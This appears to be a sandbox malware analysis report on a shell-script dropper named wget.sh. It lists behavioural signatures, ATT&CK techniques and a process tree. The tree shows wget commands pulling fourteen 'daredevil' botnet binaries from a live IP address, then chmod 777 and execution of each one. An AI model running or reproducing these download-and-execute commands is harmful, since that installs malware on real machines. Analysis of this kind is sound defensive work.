Analysis
- max time kernel
15s - max time network
16s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
- submitted
02/09/2026, 17:52
General
- Target wget.sh
- Size 1KB
- Sample260902-wfwlcsvvex
- SHA256 c27fd566c8e1b0efa48b3f36ca5546f4bac3182f4c6706c39133aef39670868d
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Traces itself 2 IoCs
Traces itself to prevent debugging attempts
- Checks hardware identifiers (DMI) 1 TTPs 2 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 14 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/wget.sh/tmp/wget.sh1⤵
-
/bin/rmrm -f "daredevil.*"2⤵
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.armv7l2⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.mipsel2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.armv5l2⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.armv6l2⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.x86_642⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.armv4l2⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.arc2⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.i4862⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.m68k2⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.mipsrouter2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.powerpc2⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.sh42⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://176.65.139.202/daredevil.sparc2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 daredevil.arc daredevil.armv4l daredevil.armv5l daredevil.armv6l daredevil.armv7l daredevil.i486 daredevil.m68k daredevil.mips daredevil.mipsel daredevil.mipsrouter daredevil.powerpc daredevil.sh4 daredevil.sparc daredevil.x86_642⤵
- File and Directory Permissions Modification
-
-
/tmp/daredevil.armv7l./daredevil.armv7l2⤵
-
-
/tmp/daredevil.mips./daredevil.mips2⤵
- Traces itself
- Checks hardware identifiers (DMI)
- Reads runtime system information
- System Network Configuration Discovery
-
-
/tmp/daredevil.mipsel./daredevil.mipsel2⤵
- System Network Configuration Discovery
-
-
/tmp/daredevil.armv5l./daredevil.armv5l2⤵
-
-
/tmp/daredevil.armv6l./daredevil.armv6l2⤵
-
-
/tmp/daredevil.x86_64./daredevil.x86_642⤵
-
-
/tmp/daredevil.armv4l./daredevil.armv4l2⤵
-
-
/tmp/daredevil.arc./daredevil.arc2⤵
-
-
/tmp/daredevil.i486./daredevil.i4862⤵
-
-
/tmp/daredevil.m68k./daredevil.m68k2⤵
-
-
/tmp/daredevil.mipsrouter./daredevil.mipsrouter2⤵
- Traces itself
- Checks hardware identifiers (DMI)
- Reads runtime system information
- System Network Configuration Discovery
-
-
/tmp/daredevil.powerpc./daredevil.powerpc2⤵
-
-
/tmp/daredevil.sh4./daredevil.sh42⤵
-
-
/tmp/daredevil.sparc./daredevil.sparc2⤵
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1